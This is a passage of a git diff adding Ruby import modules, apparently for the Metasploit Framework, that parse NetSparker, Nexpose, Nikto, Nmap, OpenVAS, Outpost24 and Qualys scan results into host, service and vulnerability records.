nasl_name.nil? || nasl_name.empty? + vuln_name = nss + else + vuln_name = nasl_name + end + + refs << nss.strip + + vuln = { + :workspace => wspace, + :host => hobj, + :name => vuln_name, + :info => description ? description : "", + :refs => refs, + :task => task, + } + + if port.to_i != 0 + vuln[:port] = port + vuln[:proto] = proto + end + + report_vuln(vuln) + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/netsparker.rb b/lib/msf/core/db_manager/import/netsparker.rb new file mode 100644 index 0000000000..86941ff15f --- /dev/null +++ b/lib/msf/core/db_manager/import/netsparker.rb @@ -0,0 +1,390 @@ +require 'rex/parser/netsparker_xml' + +module Msf::DBManager::Import::Netsparker + # Process NetSparker XML + def import_netsparker_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + addr = nil + parser = Rex::Parser::NetSparkerXMLStreamParser.new + parser.on_found_vuln = Proc.new do |vuln| + data = {:workspace => wspace} + + # Parse the URL + url = vuln['url'] + return if not url + + # Crack the URL into a URI + uri = URI(url) rescue nil + return if not uri + + # Resolve the host and cache the IP + if not addr + baddr = Rex::Socket.addr_aton(uri.host) rescue nil + if baddr + addr = Rex::Socket.addr_ntoa(baddr) + yield(:address, addr) if block + end + end + + # Bail early if we have no IP address + if not addr + raise Interrupt, "Not a valid IP address" + end + + if bl.include?(addr) + raise Interrupt, "IP address is on the blacklist" + end + + data[:host] = addr + data[:vhost] = uri.host + data[:port] = uri.port + data[:ssl] = (uri.scheme == "ssl") + + body = nil + # First report a web page + if vuln['response'] + headers = {} + code = 200 + head,body = vuln['response'].to_s.split(/\r?\n\r?\n/, 2) + if body + + if head =~ /^HTTP\d+\.\d+\s+(\d+)\s*/ + code = $1.to_i + end + + headers = {} + head.split(/\r?\n/).each do |line| + hname,hval = line.strip.split(/\s*:\s*/, 2) + next if hval.to_s.strip.empty? + headers[hname.downcase] ||= [] + headers[hname.downcase] << hval + end + + info = { + :path => uri.path, + :query => uri.query, + :code => code, + :body => body, + :headers => headers, + :task => args[:task] + } + info.merge!(data) + + if headers['content-type'] + info[:ctype] = headers['content-type'][0] + end + + if headers['set-cookie'] + info[:cookie] = headers['set-cookie'].join("\n") + end + + if headers['authorization'] + info[:auth] = headers['authorization'].join("\n") + end + + if headers['location'] + info[:location] = headers['location'][0] + end + + if headers['last-modified'] + info[:mtime] = headers['last-modified'][0] + end + + # Report the web page to the database + report_web_page(info) + + yield(:web_page, url) if block + end + end # End web_page reporting + + + details = netsparker_vulnerability_map(vuln) + + method = netsparker_method_map(vuln) + pname = netsparker_pname_map(vuln) + params = netsparker_params_map(vuln) + + proof = '' + + if vuln['info'] and vuln['info'].length > 0 + proof << vuln['info'].map{|x| "#{x[0]}: #{x[1]}\n" }.join + "\n" + end + + if proof.empty? + if body + proof << body + "\n" + else + proof << vuln['response'].to_s + "\n" + end + end + + if params.empty? and pname + params = [[pname, vuln['vparam_name'].to_s]] + end + + info = { + # XXX: There is a :request attr in the model, but report_web_vuln + # doesn't seem to know about it, so this gets ignored. + #:request => vuln['request'], + :path => uri.path, + :query => uri.query, + :method => method, + :params => params, + :pname => pname.to_s, + :proof => proof, + :risk => details[:risk], + :name => details[:name], + :blame => details[:blame], + :category => details[:category], + :description => details[:description], + :confidence => details[:confidence], + :task => args[:task] + } + info.merge!(data) + + next if vuln['type'].to_s.empty? + + report_web_vuln(info) + yield(:web_vuln, url) if block + end + + # We throw interrupts in our parser when the job is hopeless + begin + REXML::Document.parse_stream(data, parser) + rescue ::Interrupt => e + wlog("The netsparker_xml_import() job was interrupted: #{e}") + end + end + + # Process a NetSparker XML file + def import_netsparker_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_netsparker_xml(args.merge(:data => data)) + end + + def netsparker_method_map(vuln) + case vuln['vparam_type'] + when "FullQueryString" + "GET" + when "Querystring" + "GET" + when "Post" + "POST" + when "RawUrlInjection" + "GET" + else + "GET" + end + end + + def netsparker_params_map(vuln) + [] + end + + def netsparker_pname_map(vuln) + case vuln['vparam_name'] + when "URI-BASED", "Query Based" + "PATH" + else + vuln['vparam_name'] + end + end + + def netsparker_vulnerability_map(vuln) + res = { + :risk => 1, + :name => 'Information Disclosure', + :blame => 'System Administrator', + :category => 'info', + :description => "This is an information leak", + :confidence => 100 + } + + # Risk is a value from 1-5 indicating the severity of the issue + # Examples: 1, 4, 5 + + # Name is a descriptive name for this vulnerability. + # Examples: XSS, ReflectiveXSS, PersistentXSS + + # Blame indicates who is at fault for the vulnerability + # Examples: App Developer, Server Developer, System Administrator + + # Category indicates the general class of vulnerability + # Examples: info, xss, sql, rfi, lfi, cmd + + # Description is a textual summary of the vulnerability + # Examples: "A reflective cross-site scripting attack" + # "The web server leaks the internal IP address" + # "The cookie is not set to HTTP-only" + + # + # Confidence is a value from 1 to 100 indicating how confident the + # software is that the results are valid. + # Examples: 100, 90, 75, 15, 10, 0 + + case vuln['type'].to_s + when "ApacheDirectoryListing" + res = { + :risk => 1, + :name => 'Directory Listing', + :blame => 'System Administrator', + :category => 'info', + :description => "", + :confidence => 100 + } + when "ApacheMultiViewsEnabled" + res = { + :risk => 1, + :name => 'Apache MultiViews Enabled', + :blame => 'System Administrator', + :category => 'info', + :description => "", + :confidence => 100 + } + when "ApacheVersion" + res = { + :risk => 1, + :name => 'Web Server Version', + :blame => 'System Administrator', + :category => 'info', + :description => "", + :confidence => 100 + } + when "PHPVersion" + res = { + :risk => 1, + :name => 'PHP Module Version', + :blame => 'System Administrator', + :category => 'info', + :description => "", + :confidence => 100 + } + when "AutoCompleteEnabled" + res = { + :risk => 1, + :name => 'Form AutoComplete Enabled', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "CookieNotMarkedAsHttpOnly" + res = { + :risk => 1, + :name => 'Cookie Not HttpOnly', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "EmailDisclosure" + res = { + :risk => 1, + :name => 'Email Address Disclosure', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "ForbiddenResource" + res = { + :risk => 1, + :name => 'Forbidden Resource', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "FileUploadFound" + res = { + :risk => 1, + :name => 'File Upload Form', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "PasswordOverHTTP" + res = { + :risk => 2, + :name => 'Password Over HTTP', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "MySQL5Identified" + res = { + :risk => 1, + :name => 'MySQL 5 Identified', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "PossibleInternalWindowsPathLeakage" + res = { + :risk => 1, + :name => 'Path Leakage - Windows', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "PossibleInternalUnixPathLeakage" + res = { + :risk => 1, + :name => 'Path Leakage - Unix', + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => 100 + } + when "PossibleXSS", "LowPossibilityPermanentXSS", "XSS", "PermanentXSS" + conf = 100 + conf = 25 if vuln['type'].to_s == "LowPossibilityPermanentXSS" + conf = 50 if vuln['type'].to_s == "PossibleXSS" + res = { + :risk => 3, + :name => 'Cross-Site Scripting', + :blame => 'App Developer', + :category => 'xss', + :description => "", + :confidence => conf + } + + when "ConfirmedBlindSQLInjection", "ConfirmedSQLInjection", "HighlyPossibleSqlInjection", "DatabaseErrorMessages" + conf = 100 + conf = 90 if vuln['type'].to_s == "HighlyPossibleSqlInjection" + conf = 25 if vuln['type'].to_s == "DatabaseErrorMessages" + res = { + :risk => 5, + :name => 'SQL Injection', + :blame => 'App Developer', + :category => 'sql', + :description => "", + :confidence => conf + } + else + conf = 100 + res = { + :risk => 1, + :name => vuln['type'].to_s, + :blame => 'App Developer', + :category => 'info', + :description => "", + :confidence => conf + } + end + + res + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/nexpose.rb b/lib/msf/core/db_manager/import/nexpose.rb new file mode 100644 index 0000000000..2ea22d9157 --- /dev/null +++ b/lib/msf/core/db_manager/import/nexpose.rb @@ -0,0 +1,7 @@ +module Msf::DBManager::Import::Nexpose + autoload :Raw, 'msf/core/db_manager/import/nexpose/raw' + autoload :Simple, 'msf/core/db_manager/import/nexpose/simple' + + include Msf::DBManager::Import::Nexpose::Raw + include Msf::DBManager::Import::Nexpose::Simple +end diff --git a/lib/msf/core/db_manager/import/nexpose/raw.rb b/lib/msf/core/db_manager/import/nexpose/raw.rb new file mode 100644 index 0000000000..302e2a6f8d --- /dev/null +++ b/lib/msf/core/db_manager/import/nexpose/raw.rb @@ -0,0 +1,230 @@ +require 'rex/parser/nexpose_raw_nokogiri' +require 'rex/parser/nexpose_xml' + +module Msf::DBManager::Import::Nexpose::Raw + def import_nexpose_raw_noko_stream(args, &block) + if block + doc = Rex::Parser::NexposeRawDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::NexposeRawDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_nexpose_rawxml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_nexpose_raw_noko_stream(noko_args) {|type, data| yield type,data} + else + import_nexpose_raw_noko_stream(noko_args) + end + return true + end + data = args[:data] + + # Use a stream parser instead of a tree parser so we can deal with + # huge results files without running out of memory. + parser = Rex::Parser::NexposeXMLStreamParser.new + + # Since all the Refs have to be in the database before we can use them + # in a Vuln, we store all the hosts until we finish parsing and only + # then put everything in the database. This is memory-intensive for + # large files, but should be much less so than a tree parser. + # + # This method is also considerably faster than parsing through the tree + # looking for references every time we hit a vuln. + hosts = [] + vulns = [] + + # The callback merely populates our in-memory table of hosts and vulns + parser.callback = Proc.new { |type, value| + case type + when :host + # XXX: Blacklist should be checked here instead of saving a + # host we're just going to throw away later + hosts.push(value) + when :vuln + value["id"] = value["id"].downcase if value["id"] + vulns.push(value) + end + } + + REXML::Document.parse_stream(data, parser) + + vuln_refs = nexpose_refs_to_struct(vulns) + hosts.each do |host| + if bl.include? host["addr"] + next + else + yield(:address,host["addr"]) if block + end + nexpose_host_from_rawxml(host, vuln_refs, wspace) + end + end + + # + # Nexpose Raw XML + # + def import_nexpose_rawxml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_nexpose_rawxml(args.merge(:data => data)) + end + + # Takes a Host object, an array of vuln structs (generated by nexpose_refs_to_struct()), + # and a workspace, and reports the vulns on that host. + def nexpose_host_from_rawxml(h, vstructs, wspace,task=nil) + hobj = nil + data = {:workspace => wspace} + if h["addr"] + addr = h["addr"] + else + # Can't report it if it doesn't have an IP + return + end + data[:host] = addr + if (h["hardware-address"]) + # Put colons between each octet of the MAC address + data[:mac] = h["hardware-address"].gsub(':', '').scan(/../).join(':') + end + data[:state] = (h["status"] == "alive") ? Msf::HostState::Alive : Msf::HostState::Dead + + # Since we only have one name field per host in the database, just + # take the first one. + if (h["names"] and h["names"].first) + data[:name] = h["names"].first + end + + if (data[:state] != Msf::HostState::Dead) + hobj = report_host(data) + report_import_note(wspace, hobj) + end + + if h["notes"] + note = { + :workspace => wspace, + :host => (hobj || addr), + :type => "host.vuln.nexpose_keys", + :data => {}, + :mode => :unique_data, + :task => task + } + h["notes"].each do |v,k| + note[:data][v] ||= [] + next if note[:data][v].include? k + note[:data][v] << k + end + report_note(note) + end + + if h["os_family"] + note = { + :workspace => wspace, + :host => hobj || addr, + :type => 'host.os.nexpose_fingerprint', + :task => task, + :data => { + :family => h["os_family"], + :certainty => h["os_certainty"] + } + } + note[:data][:vendor] = h["os_vendor"] if h["os_vendor"] + note[:data][:product] = h["os_product"] if h["os_product"] + note[:data][:version] = h["os_version"] if h["os_version"] + note[:data][:arch] = h["arch"] if h["arch"] + + report_note(note) + end + + h["endpoints"].each { |p| + extra = "" + extra << p["product"] + " " if p["product"] + extra << p["version"] + " " if p["version"] + + # Skip port-0 endpoints + next if p["port"].to_i == 0 + + # XXX This should probably be handled in a more standard way + # extra << "(" + p["certainty"] + " certainty) " if p["certainty"] + + data = {} + data[:workspace] = wspace + data[:proto] = p["protocol"].downcase + data[:port] = p["port"].to_i + data[:state] = p["status"] + data[:host] = hobj || addr + data[:info] = extra if not extra.empty? + data[:task] = task + if p["name"] != "<unknown>" + data[:name] = p["name"] + end + report_service(data) + } + + h["vulns"].each_pair { |k,v| + + next if v["status"] !~ /^vulnerable/ + vstruct = vstructs.select {|vs| vs.id.to_s.downcase == v["id"].to_s.downcase}.first + next unless vstruct + data = {} + data[:workspace] = wspace + data[:host] = hobj || addr + data[:proto] = v["protocol"].downcase if v["protocol"] + data[:port] = v["port"].to_i if v["port"] + data[:name] = "NEXPOSE-" + v["id"] + data[:info] = vstruct.title + data[:refs] = vstruct.refs + data[:task] = task + report_vuln(data) + } + end + + # + # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream + # parser, like: + # [ + # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} + # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} + # ] + # and transforms it into a struct, containing :id, :refs, :title, and :severity + # + # Other attributes can be added later, as needed. + def nexpose_refs_to_struct(vulns) + ret = [] + vulns.each do |vuln| + next if ret.map {|v| v.id}.include? vuln["id"] + vstruct = Struct.new(:id, :refs, :title, :severity).new + vstruct.id = vuln["id"] + vstruct.title = vuln["title"] + vstruct.severity = vuln["severity"] + vstruct.refs = [] + vuln["refs"].each do |ref| + if ref['source'] == 'BID' + vstruct.refs.push('BID-' + ref["value"]) + elsif ref['source'] == 'CVE' + # value is CVE-$ID + vstruct.refs.push(ref["value"]) + elsif ref['source'] == 'MS' + vstruct.refs.push('MSB-' + ref["value"]) + elsif ref['source'] == 'URL' + vstruct.refs.push('URL-' + ref["value"]) + end + end + ret.push vstruct + end + return ret + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/nexpose/simple.rb b/lib/msf/core/db_manager/import/nexpose/simple.rb new file mode 100644 index 0000000000..828dff10f5 --- /dev/null +++ b/lib/msf/core/db_manager/import/nexpose/simple.rb @@ -0,0 +1,194 @@ +require 'rex/parser/nexpose_simple_nokogiri' + +module Msf::DBManager::Import::Nexpose::Simple + def import_nexpose_noko_stream(args, &block) + if block + doc = Rex::Parser::NexposeSimpleDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::NexposeSimpleDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_nexpose_simplexml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_nexpose_noko_stream(noko_args) {|type, data| yield type,data} + else + import_nexpose_noko_stream(noko_args) + end + return true + end + data = args[:data] + + doc = rexmlify(data) + doc.elements.each('/NeXposeSimpleXML/devices/device') do |dev| + addr = dev.attributes['address'].to_s + if bl.include? addr + next + else + yield(:address,addr) if block + end + + fprint = {} + + dev.elements.each('fingerprint/description') do |str| + fprint[:desc] = str.text.to_s.strip + end + dev.elements.each('fingerprint/vendor') do |str| + fprint[:vendor] = str.text.to_s.strip + end + dev.elements.each('fingerprint/family') do |str| + fprint[:family] = str.text.to_s.strip + end + dev.elements.each('fingerprint/product') do |str| + fprint[:product] = str.text.to_s.strip + end + dev.elements.each('fingerprint/version') do |str| + fprint[:version] = str.text.to_s.strip + end + dev.elements.each('fingerprint/architecture') do |str| + fprint[:arch] = str.text.to_s.upcase.strip + end + + conf = { + :workspace => wspace, + :host => addr, + :state => Msf::HostState::Alive, + :task => args[:task] + } + + host = report_host(conf) + report_import_note(wspace, host) + + report_note( + :workspace => wspace, + :host => host, + :type => 'host.os.nexpose_fingerprint', + :data => fprint, + :task => args[:task] + ) + + # Load vulnerabilities not associated with a service + dev.elements.each('vulnerabilities/vulnerability') do |vuln| + vid = vuln.attributes['id'].to_s.downcase + refs = process_nexpose_data_sxml_refs(vuln) + next if not refs + report_vuln( + :workspace => wspace, + :host => host, + :name => 'NEXPOSE-' + vid, + :info => vid, + :refs => refs, + :task => args[:task] + ) + end + + # Load the services + dev.elements.each('services/service') do |svc| + sname = svc.attributes['name'].to_s + sprot = svc.attributes['protocol'].to_s.downcase + sport = svc.attributes['port'].to_s.to_i + next if sport == 0 + + name = sname.split('(')[0].strip + info = '' + + svc.elements.each('fingerprint/description') do |str| + info = str.text.to_s.strip + end + + if(sname.downcase != '<unknown>') + report_service( + :workspace => wspace, + :host => host, + :proto => sprot, + :port => sport, + :name => name, + :info => info, + :task => args[:task] + ) + else + report_service( + :workspace => wspace, + :host => host, + :proto => sprot, + :port => sport, + :info => info, + :task => args[:task] + ) + end + + # Load vulnerabilities associated with this service + svc.elements.each('vulnerabilities/vulnerability') do |vuln| + vid = vuln.attributes['id'].to_s.downcase + refs = process_nexpose_data_sxml_refs(vuln) + next if not refs + report_vuln( + :workspace => wspace, + :host => host, + :port => sport, + :proto => sprot, + :name => 'NEXPOSE-' + vid, + :info => vid, + :refs => refs, + :task => args[:task] + ) + end + end + end + end + + # + # Nexpose Simple XML + # + # XXX At some point we'll want to make this a stream parser for dealing + # with large results files + # + def import_nexpose_simplexml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_nexpose_simplexml(args.merge(:data => data)) + end + + protected + + def process_nexpose_data_sxml_refs(vuln) + refs = [] + vid = vuln.attributes['id'].to_s.downcase + vry = vuln.attributes['resultCode'].to_s.upcase + + # Only process vuln-exploitable and vuln-version statuses + return if vry !~ /^V[VE]$/ + + refs = [] + vuln.elements.each('id') do |ref| + rtyp = ref.attributes['type'].to_s.upcase + rval = ref.text.to_s.strip + case rtyp + when 'CVE' + refs << rval.gsub('CAN', 'CVE') + when 'MS' # obsolete? + refs << "MSB-MS-#{rval}" + else + refs << "#{rtyp}-#{rval}" + end + end + + refs << "NEXPOSE-#{vid}" + refs + end +end diff --git a/lib/msf/core/db_manager/import/nikto.rb b/lib/msf/core/db_manager/import/nikto.rb new file mode 100644 index 0000000000..da77140445 --- /dev/null +++ b/lib/msf/core/db_manager/import/nikto.rb @@ -0,0 +1,58 @@ +module Msf::DBManager::Import::Nikto + # + # Imports Nikto scan data from -Format xml as notes. + # + def import_nikto_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + doc = rexmlify(data) + doc.elements.each do |f| + f.elements.each('scandetails') do |host| + # Get host information + addr = host.attributes['targetip'] + next if not addr + if bl.include? addr + next + else + yield(:address,addr) if block + end + # Get service information + port = host.attributes['targetport'] + next if port.to_i == 0 + uri = URI.parse(host.attributes['sitename']) rescue nil + next unless uri and uri.scheme + # Collect and report scan descriptions. + host.elements.each do |item| + if item.elements['description'] + desc_text = item.elements['description'].text + next if desc_text.nil? or desc_text.empty? + desc_data = { + :workspace => wspace, + :host => addr, + :type => "service.nikto.scan.description", + :data => desc_text, + :proto => "tcp", + :port => port.to_i, + :sname => uri.scheme, + :update => :unique_data, + :task => args[:task] + } + # Always report it as a note. + report_note(desc_data) + # Sometimes report it as a vuln, too. + # XXX: There's a Vuln.info field but nothing reads from it? See Bug #5837 + if item.attributes['osvdbid'].to_i != 0 + desc_data[:refs] = ["OSVDB-#{item.attributes['osvdbid']}"] + desc_data[:name] = "NIKTO-#{item.attributes['id']}" + desc_data.delete(:data) + desc_data.delete(:type) + desc_data.delete(:update) + report_vuln(desc_data) + end + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/nmap.rb b/lib/msf/core/db_manager/import/nmap.rb new file mode 100644 index 0000000000..2be567c395 --- /dev/null +++ b/lib/msf/core/db_manager/import/nmap.rb @@ -0,0 +1,262 @@ +require 'rex/parser/nmap_nokogiri' +require 'rex/parser/nmap_xml' + +module Msf::DBManager::Import::Nmap + def import_nmap_noko_stream(args, &block) + if block + doc = Rex::Parser::NmapDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::NmapDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + # If you have Nokogiri installed, you'll be shunted over to + # that. Otherwise, you'll hit the old NmapXMLStreamParser. + def import_nmap_xml(args={}, &block) + return nil if args[:data].nil? or args[:data].empty? + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + if Rex::Parser.nokogiri_loaded + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, "Nokogiri v#{::Nokogiri::VERSION}") + import_nmap_noko_stream(noko_args) {|type, data| yield type,data } + else + import_nmap_noko_stream(noko_args) + end + return true + end + + # XXX: Legacy nmap xml parser starts here. + + fix_services = args[:fix_services] + data = args[:data] + + # Use a stream parser instead of a tree parser so we can deal with + # huge results files without running out of memory. + parser = Rex::Parser::NmapXMLStreamParser.new + yield(:parser, parser.class.name) if block + + # Whenever the parser pulls a host out of the nmap results, store + # it, along with any associated services, in the database. + parser.on_found_host = Proc.new { |h| + hobj = nil + data = {:workspace => wspace} + if (h["addrs"].has_key?("ipv4")) + addr = h["addrs"]["ipv4"] + elsif (h["addrs"].has_key?("ipv6")) + addr = h["addrs"]["ipv6"] + else + # Can't report it if it doesn't have an IP + raise RuntimeError, "At least one IPv4 or IPv6 address is required" + end + next if bl.include? addr + data[:host] = addr + if (h["addrs"].has_key?("mac")) + data[:mac] = h["addrs"]["mac"] + end + data[:state] = (h["status"] == "up") ? Msf::HostState::Alive : Msf::HostState::Dead + data[:task] = args[:task] + + if ( h["reverse_dns"] ) + data[:name] = h["reverse_dns"] + end + + # Only report alive hosts with ports to speak of. + if(data[:state] != Msf::HostState::Dead) + if h["ports"].size > 0 + if fix_services + port_states = h["ports"].map {|p| p["state"]}.reject {|p| p == "filtered"} + next if port_states.compact.empty? + end + yield(:address,data[:host]) if block + hobj = report_host(data) + report_import_note(wspace,hobj) + end + end + + if( h["os_vendor"] ) + note = { + :workspace => wspace, + :host => hobj || addr, + :type => 'host.os.nmap_fingerprint', + :task => args[:task], + :data => { + :os_vendor => h["os_vendor"], + :os_family => h["os_family"], + :os_version => h["os_version"], + :os_accuracy => h["os_accuracy"] + } + } + + if(h["os_match"]) + note[:data][:os_match] = h['os_match'] + end + + report_note(note) + end + + if (h["last_boot"]) + report_note( + :workspace => wspace, + :host => hobj || addr, + :type => 'host.last_boot', + :task => args[:task], + :data => { + :time => h["last_boot"] + } + ) + end + + if (h["trace"]) + hops = [] + h["trace"]["hops"].each do |hop| + hops << { + "ttl" => hop["ttl"].to_i, + "address" => hop["ipaddr"].to_s, + "rtt" => hop["rtt"].to_f, + "name" => hop["host"].to_s + } + end + report_note( + :workspace => wspace, + :host => hobj || addr, + :type => 'host.nmap.traceroute', + :task => args[:task], + :data => { + 'port' => h["trace"]["port"].to_i, + 'proto' => h["trace"]["proto"].to_s, + 'hops' => hops + } + ) + end + + + # Put all the ports, regardless of state, into the db. + h["ports"].each { |p| + # Localhost port results are pretty unreliable -- if it's + # unknown, it's no good (possibly Windows-only) + if ( + p["state"] == "unknown" && + h["status_reason"] == "localhost-response" + ) + next + end + extra = "" + extra << p["product"] + " " if p["product"] + extra << p["version"] + " " if p["version"] + extra << p["extrainfo"] + " " if p["extrainfo"] + + data = {} + data[:workspace] = wspace + if fix_services + data[:proto] = nmap_msf_service_map(p["protocol"]) + else + data[:proto] = p["protocol"].downcase + end + data[:port] = p["portid"].to_i + data[:state] = p["state"] + data[:host] = hobj || addr + data[:info] = extra if not extra.empty? + data[:task] = args[:task] + if p["name"] != "unknown" + data[:name] = p["name"] + end + report_service(data) + } + #Parse the scripts output + if h["scripts"] + h["scripts"].each do |key,val| + if key == "smb-check-vulns" + if val =~ /MS08-067: VULNERABLE/ + vuln_info = { + :workspace => wspace, + :task => args[:task], + :host => hobj || addr, + :port => 445, + :proto => 'tcp', + :name => 'MS08-067', + :info => 'Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution', + :refs =>['CVE-2008-4250', + 'BID-31874', + 'OSVDB-49243', + 'CWE-94', + 'MSFT-MS08-067', + 'MSF-Microsoft Server Service Relative Path Stack Corruption', + 'NSS-34476'] + } + report_vuln(vuln_info) + end + if val =~ /MS06-025: VULNERABLE/ + vuln_info = { + :workspace => wspace, + :task => args[:task], + :host => hobj || addr, + :port => 445, + :proto => 'tcp', + :name => 'MS06-025', + :info => 'Vulnerability in Routing and Remote Access Could Allow Remote Code Execution', + :refs =>['CVE-2006-2370', + 'CVE-2006-2371', + 'BID-18325', + 'BID-18358', + 'BID-18424', + 'OSVDB-26436', + 'OSVDB-26437', + 'MSFT-MS06-025', + 'MSF-Microsoft RRAS Service RASMAN Registry Overflow', + 'NSS-21689'] + } + report_vuln(vuln_info) + end + # This one has NOT been Tested , remove this comment if confirmed working + if val =~ /MS07-029: VULNERABLE/ + vuln_info = { + :workspace => wspace, + :task => args[:task], + :host => hobj || addr, + :port => 445, + :proto => 'tcp', + :name => 'MS07-029', + :info => 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution', + # Add more refs based on nessus/nexpose .. results + :refs =>['CVE-2007-1748', + 'OSVDB-34100', + 'MSF-Microsoft DNS RPC Service extractQuotedChar()', + 'NSS-25168'] + } + report_vuln(vuln_info) + end + end + end + end + } + + # XXX: Legacy nmap xml parser ends here. + + REXML::Document.parse_stream(data, parser) + end + + # + # Import Nmap's -oX xml output + # + def import_nmap_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_nmap_xml(args.merge(:data => data)) + end + + def nmap_msf_service_map(proto) + service_name_map(proto) + end +end diff --git a/lib/msf/core/db_manager/import/open_vas.rb b/lib/msf/core/db_manager/import/open_vas.rb new file mode 100644 index 0000000000..9991d19e86 --- /dev/null +++ b/lib/msf/core/db_manager/import/open_vas.rb @@ -0,0 +1,34 @@ +require 'rex/parser/openvas_nokogiri' + +module Msf::DBManager::Import::OpenVAS + def import_openvas_new_xml(args={}, &block) + if block + doc = Rex::Parser::OpenVASDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::OpenVASDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_openvas_new_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_wapiti_xml(args.merge(:data => data)) + end + + # + # Of course they had to change the nessus format. + # + def import_openvas_xml(args={}, &block) + filename = args[:filename] + wspace = args[:wspace] || workspace + + raise Msf::DBImportError.new("No OpenVAS XML support. Please submit a patch to msfdev[at]metasploit.com") + end +end diff --git a/lib/msf/core/db_manager/import/outpost24.rb b/lib/msf/core/db_manager/import/outpost24.rb new file mode 100644 index 0000000000..f0eb73e4a1 --- /dev/null +++ b/lib/msf/core/db_manager/import/outpost24.rb @@ -0,0 +1,33 @@ +require 'rex/parser/outpost24_nokogiri' + +module Msf::DBManager::Import::Outpost24 + def import_outpost24_noko_stream(args={},&block) + if block + doc = Rex::Parser::Outpost24Document.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::Outpost24Document.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_outpost24_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_outpost24_noko_stream(noko_args) {|type, data| yield type,data} + else + import_outpost24_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end +end diff --git a/lib/msf/core/db_manager/import/qualys.rb b/lib/msf/core/db_manager/import/qualys.rb new file mode 100644 index 0000000000..10fcae11db --- /dev/null +++ b/lib/msf/core/db_manager/import/qualys.rb @@ -0,0 +1,50 @@ +module Msf::DBManager::Import::Qualys + autoload :Asset, 'msf/core/db_manager/import/qualys/asset' + autoload :Scan, 'msf/core/db_manager/import/qualys/scan' + + include Msf::DBManager::Import::Qualys::Asset + include Msf::DBManager::Import::Qualys::Scan + + # + # Qualys report parsing/handling + # + def handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, name=nil, title=nil, task=nil) + addr = hobj.address + port = port.to_i if port + + info = { :workspace => wspace, :host => hobj, :port => port, :proto => protocol, :task => task } + if name and name != 'unknown' and name != 'No registered hostname' + info[:name] = name + end + + if info[:host] && info[:port] && info[:proto] + report_service(info) + end + + fixed_refs = [] + 